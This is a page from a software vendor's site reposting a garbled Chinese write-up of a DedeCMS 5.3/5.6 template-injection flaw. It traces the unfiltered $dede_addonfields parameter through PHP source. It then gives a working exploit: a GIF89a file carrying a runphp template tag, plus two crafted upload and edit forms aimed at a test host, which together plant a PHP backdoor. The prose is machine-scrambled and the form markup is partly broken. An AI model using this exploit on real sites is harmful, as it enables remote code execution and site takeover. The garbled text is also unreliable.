監(jiān)理公司管理系統(tǒng) | 工程企業(yè)管理系統(tǒng) | OA系統(tǒng) | ERP系統(tǒng) | 造價咨詢管理系統(tǒng) | 工程設(shè)計管理系統(tǒng) | 甲方項目管理系統(tǒng) | 簽約案例 | 客戶案例 | 在線試用
X 關(guān)閉
鷹潭網(wǎng)站建設(shè)公司

當(dāng)前位置:工程項目OA系統(tǒng) > 泛普各地 > 江西OA系統(tǒng) > 鷹潭OA > 鷹潭網(wǎng)站建設(shè)公司

DedeCms 基于PHP+MySQL的技術(shù)開發(fā)

申請免費試用、咨詢電話:400-8352-114

影響版別:

  DEDECMS 5.3/5.6

  縫隙描繪:

  DedeCms 根據(jù)PHP+MySQL的技術(shù)開發(fā),撐持Windows、Linux、Unix等多種服務(wù)器平臺,從2004年開端發(fā)布第一個版別開端,至今曾經(jīng)發(fā)布了五個大版別。DedeCms以簡略、強健、靈敏、開源幾大特色占據(jù)了國內(nèi)CMS的大部份商場,當(dāng)前曾經(jīng)有超越二十萬個站點正在運用DedeCms或居于 DedeCms中心,是當(dāng)前國內(nèi)使用最廣泛的php類CMS體系。

  article_add.php

   1. ........................ 
   2. else if($dopost=='save') 
   3. { 
   4. include(DEDEMEMBER.'/inc/archives_check.php'); 
   5.  
   6. //剖析處置附加表數(shù)據(jù) 
   7. $inadd_f = $inadd_v = ''; 
   8. if(!emptyempty($dede_addonfields)) 
   9. { 
  10.    $addonfields = explode(';',$dede_addonfields); 
  11. ............................................ //省掉部份代碼 
  12.      $inadd_f .= ','.$vs[0]; 
  13.      $inadd_v .= " ,'".${$vs[0]}."' "; 
  14.     } 
  15.    } 
  16. } 
  17. .......................................... 
  18. $addtable = trim($cInfos['addtable']); 
  19. if(emptyempty($addtable)) 
  20. { 
  21.    ...................................... 
  22. } 
  23. else 
  24. { 
  25.    $inquery = "INSERT INTO `{$addtable}`(aid,typeid,userip,redirecturl,templet,body{$inadd_f}) Values('$arcID','$typeid','$userip','','','$body'{$inadd_v})"; 
  26.    if(!$dsql->ExecuteNoneQuery($inquery)) 
  27.    { 
  28. .......................................... 
  29.    } 
  30. } 
  31. .......................................... 
  32. $artUrl = MakeArt($arcID,true);     //使用當(dāng)?shù)?arc.archives.functions.php有界說) 
  33.  
  34.  
  35. function MakeArt($aid,$ismakesign=false) 
  36. { 
  37. global $cfg_makeindex,$cfg_basedir,$cfg_templets_dir,$cfg_df_style; 
  38. include_once(DEDEINC.'/arc.archives.class.php'); 
  39. if($ismakesign) 
  40. { 
  41.    $envs['makesign'] = 'yes'; 
  42. } 
  43. $arc = new Archives($aid); 
  44. $reurl = $arc->MakeHtml();           //arc.archives.class.php有界說 
  45. ............................ 
  46. } 

  arc.archives.class.php

   1. class Archives 
   2. { 
   3. ................ 
   4. function __construct($aid) 
   5. { 
   6. ............ 
   7.    if($this->ChannelUnit->ChannelInfos['addtable']!='') 
   8.     { 
   9.      $query = "SELECT * FROM `{$this->ChannelUnit->ChannelInfos['addtable']}` WHERE `aid` = '$aid'"; 
  10.      $this->addTableRow = $this->dsql->GetOne($query); 
  11.     } 
  12. ........................ 
  13. if($this->ChannelUnit->ChannelInfos['addtable']!='' && $this->ChannelUnit->ChannelInfos['issystem']!=-1) 
  14.     { 
  15.      if(is_array($this->addTableRow)) 
  16.      { 
  17.      ............................... 
  18.       $this->Fields['templet'] = $this->addTableRow['templet'];//注重1 
  19.      ...................................... 
  20.      } 
  21.     } 
  22.     ............................. 
  23. } 
  24.  
  25. function MakeHtml($isremote=0) 
  26. { 
  27.    global $cfg_remote_site,$fileFirst; 
  28.    if($this->IsError) 
  29.    { 
  30.     return ''; 
  31.    } 
  32.    $this->Fields["displaytype"] = "st"; 
  33.    //預(yù)編譯$th 
  34.    $this->LoadTemplet();              //觸發(fā)1 
  35.    
  36. ......................................//省掉部份代碼 
  37.      $this->ParseDMFields($i,1); 
  38.    $this->dtp->SaveTo($truefilename); //觸發(fā)2 
  39. ...................................... 
  40. } 
  41. 持續(xù)跟(觸發(fā)1)$this->LoadTemplet();        //arc.archives.class.php有界說 
  42.  
  43. function LoadTemplet() 
  44. { 
  45.    if($this->TempSource=='') 
  46.    { 
  47.     $tempfile = $this->GetTempletFile();                     //注重2 
  48.     if(!file_exists($tempfile) || !is_file($tempfile)) 
  49.     { 
  50.      echo "文檔ID:{$this->Fields['id']} - {$this->TypeLink->TypeInfos['typename']} - {$this->Fields['title']}
"; 
  51.      echo "模板文件不存在,無法解析文檔!"; 
  52.      exit(); 
  53.     } 
  54.     $this->dtp->LoadTemplate($tempfile);                  //觸發(fā)3 
  55.     $this->TempSource = $this->dtp->SourceString; 
  56.    } 
  57.    else 
  58.    { 
  59.     $this->dtp->LoadSource($this->TempSource); 
  60.    } 
  61. } 
  62.  
  63. 看注重2 的$this->GetTempletFile()           //arc.archives.class.php有界說 
  64.  
  65. function GetTempletFile() 
  66. { 
  67.    global $cfg_basedir,$cfg_templets_dir,$cfg_df_style; 
  68.    $cid = $this->ChannelUnit->ChannelInfos['nid']; 
  69.    if(!emptyempty($this->Fields['templet']))                  //注重3 
  70.    { 
  71.     $filetag = MfTemplet($this->Fields['templet']); 
  72.     if( !ereg('/', $filetag) ) $filetag = $GLOBALS['cfg_df_style'].'/'.$filetag; 
  73.    } 
  74.    else 
  75.    { 
  76.     $filetag = MfTemplet($this->TypeLink->TypeInfos["temparticle"]); 
  77.    } 
  78. ....................................... 
  79.    if($cid=='spec') 
  80.    { 
  81.     if( !emptyempty($this->Fields['templet']) ) 
  82.     { 
  83.      $tmpfile = $cfg_basedir.$cfg_templets_dir.'/'.$filetag; 
  84.     } 
  85.     else 
  86.     { 
  87.      $tmpfile = $cfg_basedir.$cfg_templets_dir."/{$cfg_df_style}/article_spec.htm"; 
  88.     } 
  89.    } 
  90. ........................................... 
  91.      return $tmpfile; 
  92. } 

注重3中的值來自注重1是經(jīng)過查表得來的,操控了它就等于操控了恣意模板,然后經(jīng)過觸發(fā)3來觸發(fā)縫隙
看下怎樣操控注重1的值
article_edit.php
   1. ...................... 
   2. else if($dopost=='save') 
   3. { .................... 
   4. if(!emptyempty($dede_addonfields)) 
   5. { 
   6.    $addonfields = explode(';',$dede_addonfields); 
   7.    if(is_array($addonfields)) 
   8.    { 
   9. ........................ 
  10.              ${$vs[0]} = GetFieldValueA(${$vs[0]},$vs[1],$aid); 
  11.      $inadd_f .= ','.$vs[0]." ='".${$vs[0]}."' "; 
  12.      
  13.    } 
  14. } 
  15. ................... 
  16. if($addtable!='') 
  17. { 
  18.    $upQuery = "Update `$addtable` set typeid='$typeid',body='$body'{$inadd_f},userip='$userip' where aid='$aid' "; 
  19.    if(!$dsql->ExecuteNoneQuery($upQuery)) 
  20.    {.............. 
  21.    } 
  22. } 
  23. .................... 
  24. } 

$dede_addonfields沒有過濾,咱們可以結(jié)構(gòu)$inadd_f為,templet='上傳的模板圖片地址',包括咱們的圖片后,再經(jīng)過觸發(fā)2來生成圖片里的后門!

 



  1. 本站供給順序(辦法)能夠帶有攻擊性,僅供安全研討與教育之用,危險自傲! Gif89a{dede:field name='toby57' runphp='yes'}   
    • phpinfo();   
      • {/dede:field}   
        • 保存為1.gif   
          •   
            •    1.  "http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/uploads_edit.php" method="post" enctype="multipart/form-data" ">    
            •    2. "hidden" name="aid" value="7" />    
            •    3. "hidden" name="mediatype" value="1" />    
            •    4. "text" name="oldurl" value="/DedeCmsV5.6-GBK-Final/uploads/uploads/userup/3/1.gif" />     
            •    5. "hidden" name="dopost" value="save" />    
            •    6. "title" type="hidden" id="title" value="1.jpg" class="intxt"/>    
            •    7. "addonfile" type="file" id="addonfile"/>    
            •    8. class="button2" type="submit" >更改    
            •    9.     
            •  
            • 結(jié)構(gòu)如上表單,上傳后圖片保存為/uploads/userup/3/1.gif  
            • 發(fā)表文章,然后結(jié)構(gòu)修正表單如下:  
            •    
            •    
            •  
            •    1. "http://192.168.1.5/DedeCmsV5.6-GBK-Final/uploads/member/article_edit.php" method="post" enctype="multipart/form-data">    
            •    2. "hidden" name="dopost" value="save" />    
            •    3. "hidden" name="aid" value="2" />    
            •    4. "hidden" name="idhash" value="ec66030e619328a6c5115b55483e8dbd" />    
            •    5. "hidden" name="channelid" value="1" />    
            •    6. "hidden" name="oldlitpic" value="" />    
            •    7. "hidden" name="sortrank" value="1282049150" />       
            •    8. "title" type="text" id="title" value="aaaaaaaaaaaaaaa" maxlength="100" class="intxt"/>    
            •    9. "text" name="writer" id="writer" value="123456" maxlength="100" class="intxt" style="width:219px"/>    
            •   10. 'typeid' size='1'>    
            •   11. '1' class='option3' selected=''>Test    
            •   12. 'mtypesid' size='1'>    
            •   13. '0' selected>請?zhí)暨x分類...    
            •   14. '1' class='option3' selected>aa     
            •   15. "description" id="description">aaaaaaaaaaaaa    
            •   16. 'hidden' name='dede_addonfields' value="templet">    
            •   17. 'hidden' name='templet' value="../uploads/userup/3/1.gif">    
            •   18. "hidden" id="body" name="body" value="aaaa" style="display:none" />    
            •   19. class="button2" type="submit">提交    
            •   20.    

 

 

發(fā)布:2007-03-31 14:58    編輯:泛普軟件 · xiaona    [打印此頁]    [關(guān)閉]
相關(guān)文章:
鷹潭OA
聯(lián)系方式

成都公司:成都市成華區(qū)建設(shè)南路160號1層9號

重慶公司:重慶市江北區(qū)紅旗河溝華創(chuàng)商務(wù)大廈18樓

咨詢:400-8352-114

加微信,免費獲取試用系統(tǒng)

QQ在線咨詢

泛普鷹潭網(wǎng)站建設(shè)公司其他應(yīng)用

鷹潭軟件開發(fā)公司 鷹潭門禁系統(tǒng) 鷹潭物業(yè)管理軟件 鷹潭倉庫管理軟件 鷹潭餐飲管理軟件 鷹潭網(wǎng)站建設(shè)公司